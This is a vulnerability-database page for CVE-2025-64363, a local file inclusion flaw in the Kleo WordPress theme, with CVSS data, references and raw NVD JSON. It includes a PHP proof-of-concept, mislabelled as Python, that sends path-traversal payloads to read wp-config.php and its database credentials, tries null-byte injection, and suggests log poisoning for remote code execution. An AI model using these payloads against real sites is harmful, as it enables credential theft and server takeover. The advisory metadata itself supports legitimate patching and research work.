CVE-2025-64363

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in SeventhQueen Kleo kleo allows PHP Local File Inclusion.This issue affects Kleo: from n/a through < 5.5.0.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

SeventhQueen Kleo < 5.5.0

Kleo主题所有版本 (n/a through 5.4.x)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-64363 PoC - Kleo Theme Local File Inclusion
 * Affected: Kleo Theme < 5.5.0
 * Reference: https://patchstack.com/database/Wordpress/Theme/kleo/vulnerability/wordpress-kleo-theme-5-5-0-local-file-inclusion-vulnerability
 */

$target = 'http://target-site.com/wp-content/themes/kleo/xxx'; // Vulnerable endpoint
$payload = '../../../wp-config.php'; // Path traversal to read config

// Method 1: Basic LFI test
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target . '?kleo_page=' . urlencode($payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'DB_NAME') !== false) {
    echo "[+] LFI Successful - wp-config.php content leaked\n";
    echo $response;
}

// Method 2: Using null byte injection (older PHP)
$payload2 = '../../../wp-config.php%00';
$ch2 = curl_init();
curl_setopt($ch2, CURLOPT_URL, $target . '?kleo_page=' . urlencode($payload2));
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
$response2 = curl_exec($ch2);
curl_close($ch2);

// Method 3: Log poisoning for RCE
$log_file = '/var/log/apache2/access.log';
$payload3 = '../../../..' . $log_file;
echo "[+] Try accessing: " . $target . "?kleo_page=" . urlencode($payload3);
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64363
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64363
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64363/
[4] VulDB https://vuldb.com/cve/CVE-2025-64363
[5] https://patchstack.com/database/Wordpress/Theme/kleo/vulnerability/wordpress-kleo-theme-5-5-0-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-64363", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:36.850", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in SeventhQueen Kleo kleo allows PHP Local File Inclusion.This issue affects Kleo: from n/a through < 5.5.0."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP, vulnerabilidad ('Inclusión remota de ficheros PHP') en SeventhQueen Kleo kleo permite la Inclusión local de ficheros PHP. Este problema afecta a Kleo: desde n/a hasta < 5.5.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/kleo/vulnerability/wordpress-kleo-theme-5-5-0-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}